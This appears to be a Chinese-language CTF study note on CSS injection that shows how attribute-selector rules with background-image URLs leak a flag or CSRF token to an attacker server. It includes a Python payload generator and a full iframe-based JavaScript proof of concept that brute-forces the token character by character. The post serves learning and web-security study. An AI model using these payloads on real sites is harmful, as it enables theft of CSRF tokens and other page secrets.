关于css注入是第一次看到,这里记录学习一下。
第一种姿势
先来做一个简单的实验:
假设我们现在要窃取页面的flag值的第一位f
,那么现在在我们的vps上写入:
一般CSRF Token的type都为hidden,会有不加载
background-image
属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)解决该问题的办法是使用~兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的
background-image
,达到将数据带出的目的。
input[name=flag][value^="f"] ~ * { background-image: url("http://vps/?flag=f"); }
然后传入payload:
?css=http://vps/poc.css
在vps监听:
那么以这个思路,对flag值逐一爆破,为了方便写了个脚本:
#python
f = open("poc.css","w") dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-" for i in dic: payload = '''input[name=flag][value^="flag{'''+i+'''"] ~ * {background-image:url("http://174.0.13.182:8888/?flag=flag{'''+i+'''");}''' f.write(payload + "\n") f.close()
依次盲注,就可以把flag值爆出来了。
通过上述手段只能CSRF Token的部分数据,那我们该如何获得全部数据呢?
第二种姿势
通过不断创建iframe,动态猜解每一位csrf token
当然这需要目标站点x-frame-options
未被禁用,当然本题并未限制此方法
poc:https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
<html> <style> #current { font-size: 32px; color: red; } #time_to_next { font-size: 24px; color: black; } #frames { visibility: hidden; } style> <body> <div id="current">div> <div id="time_to_next">div> <div id="frames">div> body> <script> chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""); known = ""; target_time = new Date(); timer = 0; function test_char(known, chars) { // Remove all the frames document.getElementById("frames").innerHTML = ""; // Append the chars with the known chars css = build_css(chars.map(v => known + v)); // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab... frame = document.createElement("iframe"); frame.src = "http://192.168.0.5/css/?css=" + css; frame.style="visibility: hidden;"; //gotta be sneaky sneaky like document.getElementById("frames").appendChild(frame); // timer stuff because we want to be l33t clearInterval(timer); target_time = new Date(); target_time.setSeconds(target_time.getSeconds() + 3); timer = setInterval(function() { var current_time = new Date(); diff = target_time - current_time; document.getElementById("time_to_next").innerHTML = "Time to next reload: " + diff / 1000; }, 50); // in 3 seconds, after the iframe loads, check to see if we got a response yet setTimeout(function() { var oReq = new XMLHttpRequest(); oReq.addEventListener("load", known_listener); oReq.open("GET", "http://192.168.0.5/css/?css="); oReq.send(); }, 3000); } function build_css(values) { css_payload = ""; for(var value in values) { css_payload += "input[value^=" + values[value] + "]~*{background-image:url(http://192.168.0.5:8012/" + values[value] + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url } return css_payload; } function known_listener () { document.getElementById("current").innerHTML = "Current Token: " + this.responseText; if(known != this.responseText) { known = this.responseText; test_char(known, chars); } else { known = this.responseText; alert("CSRF token is: " + known); } } test_char("", chars); //若监听到第一位为f,需依次传入第一位参数中。 script> html>
那iframe被禁用了,还有办法注入吗?
第三种姿势
参考这篇文章:https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b
提供了一个工具:使得可以通过import css来获得token:https://github.com/d0nutptr/sic
Refer:
https://nikoeurus.github.io/2019/11/30/2019%E5%AE%89%E8%AF%A2%E6%9D%AF-Web/#cssgame
https://www.smi1e.top/%e9%80%9a%e8%bf%87css%e6%b3%a8%e5%85%a5%e7%aa%83%e5%8f%96html%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae/
http://www.fwheart.club/2019/04/08/[%E8%AF%91]%E4%BD%BF%E7%94%A8CSS%E7%AA%83%E5%8F%96%E6%95%B0%E6%8D%AE%EF%BC%9A%E6%94%BB%E5%87%BB%E4%B8%8E%E9%98%B2%E5%AE%88/
https://xz.aliyun.com/t/6911#toc-12